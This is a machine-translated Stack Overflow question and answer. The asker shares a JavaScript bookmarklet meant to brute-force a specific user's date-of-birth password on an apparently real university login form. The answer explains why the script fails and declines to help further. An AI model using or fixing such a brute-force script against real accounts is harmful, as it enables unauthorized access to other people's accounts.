0

ログインするために登録番号と DOB を要求するフォームを含む Web ページがあるとします。特定の登録番号について、javascript を使用して DOB をブルート フォースしてユーザー アカウントにログインしようとしています。

最初に新しいタブで Web ページを開きます。次に、次の JS コードをアドレス バーに入力します。RegNo と DOB が一致すると、にリダイレクトされhttp://blahtestblah.edu/usermanager/home.jspます。このコードの何が問題なのかわかりません。
また、その年は 93 年であると確信しています :) ですから、親切に私を助けてください!

javascript:function f()
 {
 var day=new Array();
 var month=new Array();
 day[0]="01";
 day[1]="02";
day[2]="03";
day[3]="04";
day[4]="05";
day[5]="06";
day[6]="07";
day[7]="08";
day[8]="09";
for (var i=9;i<31;i++)
{
day[i]=i+1;
}

month[0]="01";
month[1]="02";
month[2]="03";
month[3]="04";
month[4]="05";
month[5]="06";
month[6]="07";
month[7]="08";
month[8]="09";
month[9]="10";
month[10]="11";
month[11]="12";


for(var j=0;j<31;j++)
{
for(var k=0;k<12;k++)
{
document.forms[0]['txtRegNumber'].value='112233445';
document.forms[0]['txtPwd'].value=day[j]+month[k]+'1993';
document.getElementById("frm1").elements[5].click();
if(document.location.href=="http://blahtestblah.edu/usermanager/home.jsp"){
alert(day[j]+month[k]);}

}
}

};

f();

編集:DOBの形式は、ddmmyyyy
ええ、私はインド出身です(:

4

1 に答える 1

1

このコードの何が問題なのかわかりません。

clickフォームが送信され、ブラウザがページをアンロードし、実行中のスクリプトが消えるため、機能しません。他のページで実行し続けるスクリプトを作成することは決して許可されません。

力ずくのログイン フォームは私がサポートできるものではないため、この問題の解決策は読者の演習として残します :-)

于 2013-02-16T14:25:25.167 に答える